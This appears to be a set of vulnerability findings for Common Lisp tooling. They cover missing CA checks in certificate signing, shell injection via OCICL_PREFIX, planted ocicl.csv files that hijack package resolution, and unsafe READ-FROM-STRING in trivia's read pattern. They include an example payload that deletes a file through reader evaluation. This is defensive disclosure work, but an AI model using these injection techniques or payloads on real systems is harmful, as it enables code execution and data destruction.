The generate-signed-certificate function accepts any RSA key pair as the signer with no verification that the signing key belongs to a CA certificate with BasicConstraints CA=true. The extensions parameter is entirely optional, so a certificate can be generated with no extensions at all. Some implementations treat missing BasicConstraints as CA=false, but others may not, creating certificates that bypass path validation in lenient implementations.

Description

The install-ocicl function in setup.lisp constructs shell command strings using format directives with unsanitized pathname values, then passes them to uiop:run-program as a single string (which invokes a shell).

On line 98, the chmod command is built as: (uiop:run-program (format nil "chmod +x ~A" path)) On lines 103-106, the ocicl setup invocation is built similarly: (uiop:run-program (format nil "~A setup" path))

The destination directory is derived from the OCICL_PREFIX environment variable (line 18). If OCICL_PREFIX contains shell metacharacters (semicolons, backticks, $(), pipes, etc.), those will be interpreted by the shell, resulting in arbitrary command execution during the build/install process.

This is exploitable when a user sets OCICL_PREFIX to a value controlled or influenced by an attacker, or when the path contains spaces or special characters unintentionally.

Description

The find-workdir function in both src/ocicl.lisp (line 1603) and runtime/ocicl-runtime.lisp (line 211) traverses parent directories searching for an ocicl.csv or systems.csv file. When found, that file determines which systems directory is used and which packages are considered installed.

An attacker who can write files to a parent directory of the user's working directory can place a malicious ocicl.csv that redirects package resolution. For example, in shared filesystem environments (/tmp, shared build directories, CI runners), an attacker could place an ocicl.csv in a common ancestor directory that maps system names to attacker-controlled package content.

When a user runs ocicl commands or loads packages via the ocicl-runtime from any subdirectory beneath the attacker's planted CSV, the malicious configuration takes precedence if no local ocicl.csv exists. This could cause the runtime to load attacker-supplied .asd and .lisp files, leading to arbitrary code execution.

The OCICL_LOCAL_ONLY environment variable disables this traversal behavior, but is not set by default.

Description

The read pattern in trivia (level2/derived2.lisp, lines 32-44) expands to a runtime call to READ-FROM-STRING on the value being matched, without binding READ-EVAL to NIL. Common Lisp's reader evaluates #.(form) reader macros at read time when READ-EVAL is T (the default), which means an attacker who controls the string being matched can achieve arbitrary code execution.

For example:

(match user-supplied-string
  ((read x) (format t "Parsed: ~a" x)))

If user-supplied-string is "#.(delete-file \"/etc/important\")", the reader will execute the deletion before the match even completes.

The pattern also silently swallows END-OF-FILE and PARSE-ERROR conditions, masking failed exploitation attempts and making the vulnerability harder to detect in logs.